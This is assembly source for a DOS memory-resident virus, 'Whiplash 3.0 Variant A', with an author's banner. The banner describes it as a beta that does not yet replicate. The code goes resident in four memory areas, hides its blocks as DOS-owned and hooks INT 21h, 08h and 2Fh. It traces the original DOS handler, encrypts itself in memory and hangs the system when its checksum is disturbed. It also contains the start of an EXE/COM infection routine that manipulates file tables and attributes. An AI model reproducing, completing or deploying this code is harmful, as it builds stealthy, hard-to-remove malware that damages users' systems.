; Ŀ
;      Following you have the original article, spell checked, arranged   
;      and... with God's help, bug checked...                             
;                                                                         
;                                      Lord Julus - Feb. 1999             
; 

;                  - =    L O R D  J U L U S    = -  
;
;                         P  R  O  U  D  L  Y
;
;                              p r e s e n t s
;
;           
;           
;           
;           
;           
;           
;           
;           
;           OOOOOOOOOOOOO
;           OOOO
;           OOOOOO
;           OOOO
;           OOOOOOOoOOOOOO
;           
;           
;           LORD JULUS   '98
;           
;
;
;
;              Hello everybody !
;
;              Yes, this is yet another release of the Whiplash serie and the
;              name of this one is Whiplash 3.0 Variant A. It's still variant
;              A because it's still only an EXE/COM infector.  What is really
;              interesting about  this  virus,  well...,  you'll  find in the
;              following words:
;
;              INT 77 points to the cipher/decipher routine for memory
;              INT 78 points to the traced INT 21h
;
;              ....... ;-)
;
;              BETA TEST. Does not include:
;
;                     - replication of any kind
;                     - general decryptor/encryptor
;                     - tunneling of anykind
;
;                     + for now it's just a demonstration of going resident
;                       in 4 different areas and being almost impossible to
;                       remove, or get an image of it.
;                       If you made it, drop me a line at:
;                                   lordjulus@geocities.com
;
;
;                     Dunno where did you get this from, but I hope I
;                     don't have to say I'd hate to see the below code
;                     running wild in other viruses... ;-)
;
;
;
; Assemble with TASM /m3 /o whip3_6.asm (TASM 3.2)
;               TLINK /x whip3_6 (TLINK 5.1)

.286
.model tiny
.code
.radix 16

jumps

org 0000

;                          Ŀ
;                          Start of memory AREA 2
;                          

second_mem_area_start:
start:
       call get_bp                             ; the usual thingie
       dw 156h, 1236h, 223h                    ; just crap...

get_bp:
       pop dx                                  ; a nice way to
       mov ax, offset get_bp                   ; get the DELTA
       sub ax, 6
       sub dx, ax
       xchg dx, bp
       jmp over_data

;                                Ŀ
;                                DATA AREA
;                                

; residency variables

virlen = ENDING - START                        ; virus length                              ; Virus length
virus_size = ((2*virlen+50+15)+256)/16         ; memory needed for virus
M_strategy      Dw      0                      ; Memory strategy
Umb_strategy    Db      0                      ; Upper Memory Block strategy
Xms_offset      Dw      0                      ; Offset for XMS manager
Xms_segment     Dw      0                      ; Segment for XMS manager
A_s             Db      0                      ; Current status of allocation
Oldpsp          Dw      0                      ; My PSP

;    Ŀ
;    This is the memory AREA 1 (variables) from 0000:0550 to 0000:056E 
;    

first_mem_area_start:
s2 dw 0                  ;0:0550        ; segment for AREA 2
s3 dw 0                  ;0:0552        ; segment for AREA 3
s4 dw 0                  ;0:0554        ; segment for AREA 4
oldint21 dd 0            ;0:0556        ; far pointer to oldint21
oldint2f dd 0            ;0:055a        ; far pointer to oldint2f
oldint08 dd 0            ;0:055e        ; far pointer to oldint08
timer dw 0               ;0:0562        ; int 08 timer
active dw 0              ;0:0564        ; active var.
exec_files dw 0          ;0:0566        ; executed files
vir_ver dw 0             ;0:0568        ; virus version
whereami db 0            ;0:056a        ; active AREA
ok db 0                  ;0:056b        ; all ok ?
chksum dw 0              ;0:056c        ; chcksum
chk_act db 0             ;0:056e        ; checksum active ?

first_mem_area_end:

;                           Ŀ
;                           End of memory AREA 1
;                           

; The Virus Marker

Virus db 'Whiplash V3.0 Variant A'
      db 'Written and compiled in Bucharest, Romania'
      db 'by Lord Julus'
      db 'Beta Test - unfunctionable yet'

; Virus Data


over_data:
       pusha
       push ds es di si bp              ; here I save initial registers

       call trace_ints                  ; trace interrupts

       mov cs:[bp + timer], 0           ; set timer to 0 for now
       mov cs:[bp + active], 0          ; set virus to inactive
       mov cs:[bp + exec_files], 0      ; set executed files to 0
       mov cs:[bp + vir_ver], 0FEFFh    ; virus version = FEFE or ver or var
       mov cs:[bp + whereami], 2        ; i am in AREA 2
       mov cs:[bp + ok], 1              ; all ok now...
       mov cs:[bp + chksum], 0          ; set checksum to 0
       mov cs:[bp + chk_act], 0         ; checksum is not active

       MOV BX, 2
       call getmem                      ; i get the first UMB block
       jc exit_error                    ; if available, of course
       mov word ptr cs:[bp+s2], ax      ; and save the segment

       MOV BX, 3
       MOV AX, BX
       call getmem                  ; here i get the first conv. block
       jc exit_error
       mov word ptr cs:[bp+s3], ax  ; and save the segment

       MOV BX, 4
       MOV AX, BX
       call getmem                  ; here i get another conventional
       jc exit_error                ; memory block
       mov word ptr cs:[bp+s4], ax  ; and save it...


       call get_vectors                ; getting old vectors now...
       call move_virus                 ; now we move virus parts...

       mov ax, cs:[bp+s2]              ; and we simulate a JMP just
       mov word ptr cs:[jump+3], ax    ; to jump in the new UMB segment
       lea ax, new_segment             ; (AREA 2) and continue there with
       mov word ptr cs:[jump+1], ax    ; no delta handle bullshit !

jump db 0EAh                           ; This is a JMP FAR AREA2:NEW_SEGMENT
     dw 0,0

new_segment:                           ; here we go on with our code

exit_ok:
       call set_links                  ; set the links between areas
       call hook_vectors               ; and now hook the vectors
       call cipher_memory              ; cipher the memory
 ;      call decipher_memory
       call calculate_checksum         ; compute checksum
       xor bx, bx
       mov ds, bx
       mov word ptr ds:[056ch], ax     ; save checksum
       mov byte ptr ds:[056eh], 1      ; and set check for checksum active

       mov ax, 4C00h                   ; and get out OK
       int 21h

exit_error:
       mov ax, 4CFFh                   ; this is a forced Exit due to a
       int 21h                         ; memmory allocation error

;  Ŀ
;  Here I cipher all memory areas with different random keys and methods
;  

cipher_memory:
       call randomize                  ; first initialize the generator
       push cs
       pop ds

       call get_the_randoms            ; get method and key
       push bx
       mov word ptr ds:[method1], bx   ; and save them to be able to decipher
       push cx
       mov word ptr  ds:[key1], cx
       push (first_cipher_area_end - first_cipher_area_start)/2  ; length
       push offset first_cipher_area_start                       ; start
       INT 077h                        ; cipher ! Check the procedure for
                                       ; a better understanding (INT 77h
                                       ; points to the cipher routine)


       ; and from here we do the same thing for the rest of the zones

       call get_the_randoms
       push bx
       mov word ptr  ds:[method2], bx
       push cx
       mov word ptr  ds:[key2], cx
       push (second_cipher_area_end - second_cipher_area_start)/2
       push offset second_cipher_area_start
       int 077h

       call get_the_randoms
       push bx
       mov word ptr  ds:[method3], bx
       push cx
       mov word ptr  ds:[key3], cx
       push (third_cipher_area_end - third_cipher_area_start)/2
       push offset third_cipher_area_start
       int 077h

       call get_the_randoms
       push bx
       mov word ptr  ds:[method4], bx
       push cx
       mov word ptr  ds:[key4], cx
       push (fourth_cipher_area_end - fourth_cipher_area_start)/2
       push offset fourth_cipher_area_start
       int 077h

       push 0101h                                ; in this little part
       push 0ABBAh                               ; here we encrypt parts
       push (first_mem_area_start - start)/2     ; of the memory that we
       push offset start                         ; do not need to be active
       int 077h                                  ; and which could 'look'
                                                 ; as a virus if someone
       push 0101h                                ; debugs the segment INT 21
       push 0BAABh                               ; is in.
       push (first_mem_area_start - start)/2     ;
       push offset start                         ;
       int 077h                                  ;

       ret

get_the_randoms:                                 ; this gets the method and
       call _random                              ; the key
       mov cx, 3
       call modulo                               ; method may be 1,2,3
       inc ax
       mov bx, ax
       mov bh, 1                                 ; 1 is for cipher
       xchg bh, bl
       call _random
       mov cx, ax                                ; this is the key
       ret

;   Ŀ
;   Here I decipher all the memory areas with the saved keys and methods
;   

decipher_memory:
       push cs
       pop ds

       ;this goes exactly like te cipher_memory routine, but it decipheres
       ;it using the saved keys.

       mov bx, word ptr ds:[method1]
       mov bl, 2
       push bx
       push ds:[key1]
       push (first_cipher_area_end - first_cipher_area_start)/2
       push offset first_cipher_area_start
       int 077h

       mov bx, word ptr ds:[method2]
       mov bl, 2
       push bx
       push ds:[key2]
       push (second_cipher_area_end - second_cipher_area_start)/2
       push offset second_cipher_area_start
       int 077h

       mov bx, word ptr ds:[method3]
       mov bl, 2
       push bx
       push ds:[key3]
       push (third_cipher_area_end - third_cipher_area_start)/2
       push offset third_cipher_area_start
       int 077h

       mov bx, word ptr ds:[method4]
       mov bl, 2
       push bx
       push ds:[key4]
       push (fourth_cipher_area_end - fourth_cipher_area_start)/2
       push offset fourth_cipher_area_start
       int 077h

       push 0102h
       push 0ABBAh
       push (first_mem_area_start - start)/2
       push offset start
       int 077h

       push 0102h
       push 0BAABh
       push (first_mem_area_start - start)/2
       push offset start
       int 077h

       ret

;           Ŀ
;           Here I compute the checksum for the different areas
;           

calculate_checksum:                 ; this is the place where we
       push bx cx dx                ; checksum the AREAS
       push ds

       mov bx, 0                    ; BX will hold the checksum

       mov ax, word ptr cs:[s2]     ; first AREA2
       mov ds, ax
       mov cx, (second_mem_area_cipher_end - over_data)/2 ; length
       lea si, over_data                           ; and start
sum_loop2:
       xor bx, word ptr ds:[si]                    ; a XOR algorithm
       inc si
       inc si
       loop sum_loop2
       neg bx                                      ; and a negation for fun

       mov ax, word ptr cs:[s3]                    ; then AREA 3
       mov ds, ax
       mov cx, (third_mem_area_end - third_mem_area_start)/2  ; length
       mov si, 0                                              ; start
sum_loop3:
       sub bx, word ptr ds:[si]                    ; a SUB algorithm
       inc si
       inc si
       loop sum_loop3
       not bx                                      ; and a NOT for joy

       mov ax, word ptr cs:[s4]                    ; the AREA 4
       mov ds, ax
       mov cx, (fourth_mem_area_end - fourth_mem_area_start)/2 ; length
       mov si, 0                                               ; start
sum_loop4:
       add bx, word ptr ds:[si]                    ; an ADD algorithm
       inc si
       inc si
       loop sum_loop4
       neg bx                                      ; and a NEG for ;-)

       xor ax, ax
       mov ds, ax
       add bx, word ptr ds:[0550h]                 ; then we use the saved
       sub bx, word ptr ds:[0552h]                 ; segments of the 3 areas
       xor bx, word ptr ds:[0554h]                 ; and mangle them with BX

       mov ax, bx                                  ; AX will return the
                                                   ; checksum
       pop ds
       pop dx cx bx
       ret

first_cipher_area_start:

;          Ŀ
;          Here we move parts of our virus to the different areas
;          

MOVE_VIRUS:
      cli
      cld
      xor ax, ax                                         ; move to
      mov es, ax                                         ; AREA 1
      push cs                                            ;
      pop ds                                             ;
      mov si, offset first_mem_area_start                ;
      mov di, 0550h                                      ;
      mov cx, first_mem_area_end - first_mem_area_start  ;
      rep movsb                                          ;

      mov ax, word ptr cs:[s2]                           ; then we move
      mov es, ax                                         ; to AREA 2
      mov si, offset second_mem_area_start               ;
      mov di, 0                                          ;
      mov cx, second_mem_area_end - second_mem_area_start;
      rep movsb                                          ;

      mov ax, word ptr cs:[s3]                           ; then we move
      mov es, ax                                         ; to AREA 3
      mov si, offset third_mem_area_start                ;
      mov di, 0                                          ;
      mov cx, third_mem_area_end - third_mem_area_start  ;
      rep movsb                                          ;

      mov ax, word ptr cs:[s4]                           ; then we move
      mov es, ax                                         ; to AREA 4
      mov si, offset fourth_mem_area_start               ;
      mov di, 0                                          ;
      mov cx, fourth_mem_area_end - fourth_mem_area_start;
      rep movsb                                          ;

      ret

first_cipher_area_end:
method1 dw 0
key1 dw 0

second_cipher_area_start:

;                  Ŀ
;                  Set up the links between memory AREAS
;                  

SET_LINKS:

       ; this actually creates a set of FAR CALLS between AREA 2, 3 and 4
       ; which goes forth and back.

       mov ax, cs:[s2]
       mov di, ax                               ; di = second AREA segment
       mov si, offset check_point_start         ; si = start point 1 offset
       mov ax, cs:[s3]                          ; ax = third area segment
       mov bx, offset check_point1              ; after aligning
       sub bx, offset third_mem_area_start      ; bx = offset

       mov ds, di
       mov word ptr ds:[si+1], bx               ; create the CALL
       mov word ptr ds:[si+3], ax

       mov ax, cs:[s3]
       mov di, ax                               ; di = second AREA segment
       mov si, offset check_point1              ; si = start point 1 ofs
       sub si, offset third_mem_area_start      ; align
       mov ax, cs:[s3]                          ; ax = third area segment
       mov bx, offset check_point2              ; after aligning
       sub bx, offset third_mem_area_start      ; bx = offset

       mov ds, di
       mov word ptr ds:[si+1], bx               ; create the CALL
       mov word ptr ds:[si+3], ax

       mov ax, cs:[s3]
       mov di, ax                               ; di = second AREA segment
       mov si, offset check_point2              ; si = start point 1 ofs
       sub si, offset third_mem_area_start      ; align
       mov ax, cs:[s4]                          ; ax = third area segment
       mov bx, offset check_point3              ; after aligning
       sub bx, offset fourth_mem_area_start     ; bx = offset

       mov ds, di
       mov word ptr ds:[si+1], bx               ; create the CALL
       mov word ptr ds:[si+3], ax

       ret
second_cipher_area_end:
method2 dw 0
key2 dw 0

third_cipher_area_start:

;                   Ŀ
;                   Here we get all the vectors we need
;                   

GET_VECTORS:
      xor ax, ax
      mov ds, ax
      push cs
      pop es

      mov si, 08h*4
      mov di, offset int08exit
      inc di
      add di, bp
      movsw
      movsw

      mov si, 21h*4
      mov di, offset int21exit
      inc di
      add di, bp
      movsw
      movsw

      mov si, 2Fh*4
      mov di, offset int2Fexit
      inc di
      add di, bp
      movsw
      movsw

      mov ax, word ptr ds:[21h*4]
      mov word ptr cs:[oldint21], ax
      mov ax, word ptr ds:[2fh*4]
      mov word ptr cs:[oldint2f], ax
      mov ax, word ptr ds:[08h*4]
      mov word ptr cs:[oldint08], ax
      mov ax, word ptr ds:[21h*4+2]
      mov word ptr cs:[oldint21+2], ax
      mov ax, word ptr ds:[2fh*4+2]
      mov word ptr cs:[oldint2f+2], ax
      mov ax, word ptr ds:[08h*4+2]
      mov word ptr cs:[oldint08+2], ax
      ret

third_cipher_area_end:
method3 dw 0
key3 dw 0

fourth_cipher_area_start:

;                   Ŀ
;                   Here we hook all the vectors we need
;                   

HOOK_VECTORS:

      cli

      xor ax, ax
      mov ds, ax
      lea ax, newint21
      mov word ptr ds:[21h*4], ax
      push cs
      pop ax
      mov word ptr ds:[21h*4+2], ax

      lea ax, newint08
      sub ax, offset third_mem_area_start
      mov word ptr ds:[08h*4], ax
      mov ax, cs:[s3]
      mov word ptr ds:[08h*4+2], ax

      lea ax, newint2f
      sub ax, offset fourth_mem_area_start
      mov word ptr ds:[2fh*4], ax
      mov ax, cs:[s4]
      mov word ptr ds:[2fh*4+2], ax

      lea ax, cipher
      sub ax, offset fourth_mem_area_start
      mov word ptr ds:[077h*4], ax
      mov ax, cs:[s4]
      mov word ptr ds:[077h*4+2], ax

      sti
      ret

fourth_cipher_area_end:
method4 dw 0
key4 dw 0

;                      Ŀ
;                      Start of the third memory AREA
;                      

third_mem_area_start:

;                            ͻ
;                            the int 21 handler
;                            ͼ

time_passed dw 0
newint21:
       pushf
       pusha
       push ds es si di bp

       xchg ah, bh
       xor bh, 14h
       cmp bh, 4bh xor 14h
       je file_execution


check_point_start:
       db 9Ah                           ; this is a CALL FAR xxxx:yyyy
       dw 0
       dw 0

       jmp over_this1
check_point1:
       db 9Ah                           ; CALL FAR check_point2
       dw 0
       dw 0
       retf

over_this1:
       xor bx, bx                       ; on each INT 21 call we look and
       mov ds, bx                       ; see if we must check the checksum
       cmp byte ptr ds:[056eh], 0       ; and if so...
       je over_this

       call calculate_checksum          ; we calculate it
       cmp ax, word ptr ds:[056ch]      ; and compare it with the saved one
       je over_this

       mov cx, 10                       ; if they are not equal
foreverloop:                            ; we hang !!
       inc cx
       loop foreverloop

over_this:

;       sahf
;       pushf
;       pop bx
;       or bl, 00001000b
;       xor bl, 77h
;       cmp bl, 4bh xor 77h              ; this is just for the looks ;-)



return_to_innocence:
not_active:
       pop bp di si es ds
       popa
       popf
int21exit:                              ; a jump to INT 21 in chain
       db 0EAh
       dw 0,0
endint21:

;                            ͻ
;                            the int 08 handler
;                            ͼ

newint08:
       pusha
       push ds
       jmp over_this3

check_point2:
       db 9Ah                           ; CALL FAR check_point3
       dw 0
       dw 0
       retf

over_this3:
       xor bx, bx                       ; now it's a nice part...
       mov ds, bx
       cmp byte ptr ds:[056eh], 00h     ; is the checksum check active
       jne its_active                   ; if yes,... ok...
       inc word ptr ds:[0562h]          ; if not, increment timer
       mov cx, 0222h                    ;
       mov ax, word ptr ds:[0562h]      ;
       cmp ax, cx                       ; if 15 seconds passed since the
       jne over_this2                   ; check for checksum was turned off

       mov cx, 010                      ; we hang again !!
repeat:
       inc cx
       loop repeat

its_active:
       mov word ptr ds:[0562h], 0       ; if it's on, we reset the timer to 0

over_this2:
       pop ds
       popa

int08exit:                              ; go to original INT 08
        db 0EAh
        dw 0,0
endint08:
third_mem_area_end:

;                       Ŀ
;                       End of the third memory AREA
;                       
;                     Ŀ
;                     Start of the fourth memory AREA
;                     

fourth_mem_area_start:

;                            ͻ
;                            the int 2F handler
;                            ͼ

newint2F:

       jmp over_this4

check_point3:
       retf

over_this4:
int2Fexit:
        db 0EAh
        dw 0,0
endint2F:


Cipher:
; Values on entry (words pushed in this order):
;                  - method (High byte  = 1-XOR / 2-ROR / 3-ADD)
;                           (Lower byte = 1-cipher / 2-decipher)
;                  - key
;                  - length of code (in words !! e.g. bytes/2)
;                  - start of code to cipher/decipher
;                  - DS = segment of the code to decipher

       ;push bp
       mov bp, sp
       mov ax, word ptr  ss:[bp+0Ch]
       mov dx, word ptr  ss:[bp+0Ah]
       mov cx, word ptr  ss:[bp+08h]
       mov bx, word ptr  ss:[bp+06h]

       cli

cipher_loop:
       cmp ah, 1
       je xor_routine
       cmp ah, 2
       je ror_routine
       jmp add_routine

xor_routine:
       xor word ptr ds:[bx], dx
       jmp loop_again

ror_routine:
       push cx
       mov cl, dl
       cmp al, 1
       je cipher_ror
       rol word ptr ds:[bx], cl
       pop cx
       jmp loop_again
cipher_ror:
       ror word ptr ds:[bx], cl
       pop cx
       jmp loop_again

add_routine:
       cmp al, 1
       je cipher_add
       sub word ptr ds:[bx], dx
       jmp loop_again
cipher_add:
       add word ptr ds:[bx], dx
       jmp loop_again

loop_again:
       inc bx
       inc bx
       loop cipher_loop

       sti

       retf 0Ah

;                       Ŀ
;                       The Random Number Generator
;                       

Rand_seed       Dw      0
RANDOMIZE:                             ; procedure to start the
       Push    cx dx                   ; random generator
       Xor     ah,ah                   ; get timer count
       Int     1Ah
       Mov     cs:[Rand_seed],dx  ; and save it
       Xchg    ch,cl
       Add     cs:[Rand_seed_2],cx
       Pop     dx cx
       Ret
_RANDOM:                              ; the random number generator
       In      al,40h                 ; timer, for random nr
       Sub     ax,cs:[Rand_seed]
Db     35h                            ; XOR AX,
Rand_seed_2    Dw      0              ; what is here
       Inc     ax
       Add     cs:[Rand_seed],ax  ; change seed
       Ret

MODULO:                                ; the modulo procedure ax = ax mod cx
       Push DX
       Xor DX, DX
       Div CX
       Xchg AX, DX
       Pop DX
       Ret

fourth_mem_area_end:

;                     
;                        The 'Go Resident' routines   
;                     

GETMEM:
        push bx cx dx
        Push es ds di si                        ; again save some registers

        Mov cs:[bp+Oldpsp], ds               ; save my PSP

        Xor ax, ax
        Mov ds, ax                           ; First get all the
        Mov di, ds:[0413h]                   ; RAM available in kB and
        Shl di, 6                            ; convert it into paragraphs

        Mov Byte Ptr cs:[bp+A_s], 0          ; set flag to NONE

        CMP BX, 2
        JE WE_NEED_AREA_2
        JMP WE_NEED_AREA_3_OR_4

WE_NEED_AREA_2:
        Mov ax, 5800h                        ; Get the Memory strategy
        Int 21h                              ; and save it
        Mov Word Ptr cs:[bp+M_strategy],ax   ; for later

        Mov ax, 5802h                        ; Chain UMBs
        Int 21h                              ;
        Mov Byte Ptr cs:[bp+Umb_strategy],al ; and save Umb_strategy

                                             ; Set New MCB Alloc. strategy
        Mov ax, 5801h                        ; 80h = First fit
        Mov bx, 81h                          ; 81h = Best fit (used here !)
        Int 21h                              ; 82h = Last Fit

        Mov ax, 5803h                        ; Set new UMB Link State
        Mov bx, 1                            ; and rechain UMBs
        Int 21h                              ;
        Jc  REQUEST_XMS_MEM                  ; and now request XMS

        Mov es, cs:[bp+Oldpsp]               ; Restore PSP and expand MCB
        Mov ah, 4Ah                          ; to maximum obtaining the total
        Mov bx, 0FFFFh                       ; available memory
        Int 21h

        Sub bx, virus_size + 1               ; Make MCB smaller
        Mov ah, 4Ah                          ; I just shrink to what I need
        Int 21h                              ; (substract virus_size + 1)

        Mov bx, virus_size                   ; Allocate memory for virus
        Mov ah, 48h
        Int 21h
        Mov es, ax                           ; ES =  new virus segment
        Jc REQUEST_XMS_MEM                   ; request XMS

        Cmp ax, di                           ; DI = conventional RAM
        Jae UMB_DONE                         ; jump if greater (all ok!!)

REQUEST_XMS_MEM:                             ; Takes UMB for the virus
        Mov ax, 4300h                        ; Checks if any XMS manager
        Int 2Fh                              ; is installed
        Cmp al, 80h                          ; 80h=Yes
        Jne NO_XMS                           ; otherwise go away !

        Mov ax, 4310h                        ; Find Himem-EntryPoint (ES:BX)
        Int 2Fh                              ; and save it
        Mov cs:[bp+Xms_offset ], bx
        Mov cs:[bp+Xms_segment], es

        Mov ah, 10h                          ; Call Himem and check if
        Mov dx, 0FFFFh                       ; there exist a free XMS block
        Call Dword Ptr cs:[bp+Xms_offset]    ; if BL = 0B0h then it's ok
        Cmp bl, 0B0h                         ; otherwise
        Jnz NO_XMS                           ; we have no free XMS block

        Mov ah, 10h
        Call Dword Ptr cs:[bp+Xms_offset]    ; Call to see if XMS is free
        Or ax, ax                            ; AX = 0 means 'Not free'
        Jz NO_XMS                            ; AX = 1 means 'Free'
        Mov es, bx                           ; ES = BX = Segment of Blocks

UMB_DONE:
        Mov Byte Ptr cs:[bp+A_s], 1          ; Mark UMB allocated

        Mov ax, es                           ; Marks virus as being owned
        Dec ax                               ; by the Operating System
        Mov ds, ax
        Xor si, si
        Mov Word Ptr ds:[si+1], 8            ; Mark as DOS's

        Mov ax, cs:[bp+Oldpsp]               ; Restore MCB into DS
        Dec ax
        Push ax

        Cmp Byte Ptr ds:[si], 'Z'            ; Is the virus the last MCB ?
        Pop ds                               ; Restore MCB
        Jnz LAST_MCB                         ; Jump if it's the last !

        Mov Byte Ptr ds:[si], 'Z'            ; Mark it as last otherwise
        Jmp Short DONEMCB                    ; and end process

LAST_MCB:
        Mov ax, ds:[3]                       ; Get memory from the last MCB !
        Add ax, virus_size + 1               ; by increasing with virus_size
        Mov ds:[3], ax                       ; and marking it

DONEMCB:
NO_XMS:
        Mov bx, Word Ptr cs:[bp+M_strategy]  ; Now restore mem. allocation
        Mov ax, 5801h                        ; strategy
        Int 21h                              ;

        Mov bl, Byte Ptr cs:[bp+Umb_strategy]; And the UMB link status
        Mov bh, 0                            ; as previously saved
        Mov ax, 5803h
        Int 21h

WE_NEED_AREA_3_OR_4:

        Cmp Byte Ptr cs:[bp+A_s], 1          ; check if UMB is allocated
        Jz UMB_ALLOCATED                     ; and go away if so !

        Mov ds, cs:[bp+Oldpsp]               ; If not, get old PSP
        Push ds                              ;
        Pop es                               ;
        Mov ah, 4Ah                          ; and expand MCB to maximum
        Mov bx, -1
        Int 21h                              ; BX=FFFFh -> Expand MCB

        Xor si, si                           ; and use the old way
        CMP AX, 3
        JNE AREA4
        MOV AX, (THIRD_MEM_AREA_END - THIRD_MEM_AREA_START + 15)
        JMP ALLOC_CONV
AREA4:
        MOV AX, (FOURTH_MEM_AREA_END - FOURTH_MEM_AREA_START + 15)

ALLOC_CONV:                                  ; here we allocate conv. mem
        Sub ds:[si+2], ax                    ; the proper size for the
        Sub bx, ax                           ; resident part
        Mov ah, 4Ah
        Int 21h

        Mov ax, ds                           ; DS=PSP
        Add ax, bx                           ; BX=MCB for Virus

        Mov es, ax
        Mov Word Ptr es:[1], -1

        Inc ax                               ; AX = PSP for virus
        Mov es, ax                           ; ES = PSP for virus

        Mov ax, ds                           ; Mark the current MCB as last
        Dec ax                               ; in the MCB-Chain
        Mov ds, ax
        Mov Byte Ptr ds:[si], 'Z'

UMB_ALLOCATED:
        mov ax, es                           ; save the new segment area
        Pop si di ds es                      ; Restore registers
        pop dx cx bx
        ret
Ŀ

;                  Ŀ
;                  Start of Tracing and Hooking routines
;                  

Trace_ints:
        pusha                          ; Here we start tracing & hooking
        push ds es si di               ; but first we save the registers
        call trace_int21               ; now trace INT21h
        mov ax, ds                     ; DS:BX holds INT21's address
        cmp ax, 0                      ; if DS = 0 the trace failed
        je bad_trace                   ; and we go away.
        call PUT_IT_ON                 ; Otherwise we are over

bad_trace:                             ; here we exit ;-(
        pop di si es ds                ;
        popa                           ;
        ret                            ;
                                       ;
; This wonderful tracing routine goes with credits to Satan's Little Helper
; and to VLAD Group
                                        ;
Trace_Int21:                            ;
        call    psp_trace               ; First we try the PSP trace
        jc      bad_psp                 ; if it failed we jump
        jmp trace_over                  ; otherwise it's ok !
                                        ;
        bad_psp:                        ; if the PSP was bad
        call    int30_trace             ; we try traceing thru INT 30/31
        jmp     trace_over              ;
                                        ;
        psp_trace:                      ; Routine to do the PSP trace
        lds     bx,ds:[0006h]           ; BX points to dispatch handler
        trace_next:                     ;
        cmp     byte ptr ds:[bx],0EAh   ; is it JMP xxxx:xxxx ?
        jnz     check_dispatch          ; No !
        lds     bx,ds:[bx+1]            ; BX points to xxxx:xxxx of the JMP
        cmp     word ptr ds:[bx],9090h  ; check for double-NOP signature
        jnz     trace_next              ; not ok !
        sub     bx,32h                  ; 32h byte offset from dispatch
                                        ; handler
        cmp     word ptr ds:[bx],9090h  ; int 21 has same sig if it works
        jnz     check_dispatch          ; not ok !
        good_search:                    ; clear the Carry flag
        clc                             ; if trace was succesful
        ret                             ;
        check_dispatch:                 ;
        cmp     word ptr ds:[bx],2E1Eh  ; check for push ds, cs: override
        jnz     bad_exit                ;
        add     bx,25h                  ; 25h byte offset from dispatch
        cmp     word ptr ds:[bx],80FAh  ; check for cli, push ax
        jz      good_search             ; ok !
        bad_exit:                       ; Set Carry Flag for
        stc                             ; trace fail
        ret                             ;
                                        ;
        int30_trace:                    ; Here we have the INT 30 tracer
        xor     bx,bx                   ; make DS = 0
        mov     ds,bx                   ;
        mov     bl,0c0h                 ; point to 0:0c0
        jmp     short trace_next        ; go back inside the PSP tracer

put_it_on:
        xor ax, ax
        mov es, ax
        mov word ptr es:[078h*4], bx
        mov ax, ds
        mov word ptr es:[078h*4+2], ax
        ret
                                        ;
        trace_over:                     ; End of trace
        ret                             ;

; Here comes the infection procedure

File_execution:
         xor ax, ax
         mov ds, ax
         mov byte ptr ds:[056eh], 00h            ; deactivate checksum check
         call open_file
         mov byte ptr ds:[056eh], 01h            ; deactivate checksum check
         jmp return_to_innocence

; Error Handler
Error_handler:

; Get time/date
Get_time_date:

; Set time/date
Set_time_date:

; Move virus to end of code
I_like_to_move_it_move_it:

; Copy virus to file
Copy_virus:

; Open file and play with the SFT
Open_file:

       pusha
       push ds es si di bp

       call uppercase                      ; uppercase the name of the file

       mov ax, 3D00h                       ; try to open the file
       int 78h
       jc exit_error1
       mov bx, ax

       Push bx                             ; save file handler for later
       Mov ax,1220h                        ; get job file table! (JFT)
       Int 2Fh                             ; call multiplex
                                           ; es:di=JFT for handler
       Mov ax,1216h                        ; get system file table
       Mov bl,Byte Ptr es:[di]             ; bl=SFT entry
       Int 2Fh                             ; call multiplex
       Pop bx                              ; restore file handler

       Add di, 02h                         ; set file to
       Mov Word Ptr es:[di], 0002          ; read/write

       Add di, 02h                         ; reset file attributes
       mov ah, byte ptr es:[di]
       mov byte ptr cs:[attrib], ah
       Mov Byte Ptr es:[di], 0
       Sub di, 04h

       Add di, 0Dh                         ; unmask seconds
       Mov dx, Word Ptr es:[di]
       Mov Word Ptr cs:[Time], dx          ; save seconds

       Add di, 2                           ; unmask day
       Mov cx, Word Ptr es:[di]
       Mov Word Ptr cs:[Date], cx          ; save day

       Sub di, 0Fh                         ; now make DI point
       Add di, 20h                         ; to the filename
       Add di, 8

       push bx                             ; push file handler again

       Cmp Word Ptr es:[di], 'OC'          ; check if it's a COM
       Jne TRY_AGAIN
       Cmp Byte Ptr es:[di+2], 'M'
       Je  GOOD_FILE1

TRY_AGAIN:
       Cmp Word Ptr es:[di], 'XE'          ; or an EXE ?
       Jne CLOSING_INFECTION_ERROR
       Cmp Byte Ptr es:[di+2], 'E'
       Jne  CLOSING_INFECTION_ERROR

good_file1:
       pop bx                              ; restore file handler

       mov di, 0Ah                         ; now restore the original
       mov ah, byte ptr cs:[attrib]        ; file attributes
       mov byte ptr es:[di], ah

       mov ah, 3Eh                         ; close file
       int 78h
       jmp exit_ok1

closing_infection_error:
exit_error1:
       stc
       jmp exit_pop1

exit_ok1:
       clc

exit_pop1:

       push cs
       pop ds
       lea dx, text1
       mov ah, 09h
       int 78h

       pop bp di si es ds
       popa
       ret

text1 db 0ah, 0dh, 'An executable is about to be run...', 0ah, 0dh, '$'

; Capitalize string at ds:dx
UPPERCASE:
       Pusha
       Push ds es di si

       Mov ax, ds               ; make source      = DS:SI = DS:DX
       Mov es, ax               ; make destination = ES:DI = DS:DX
       Mov si, dx
       Mov di, dx
       Mov ax, 1211h            ; and call the multiplex interrupt
       Int 2Fh                  ; to do it

       Pop si di es ds
       Popa
       Ret

second_mem_area_cipher_end:

time dw 0
date dw 0
attrib db 0

ending:
second_mem_area_end:
end start
end
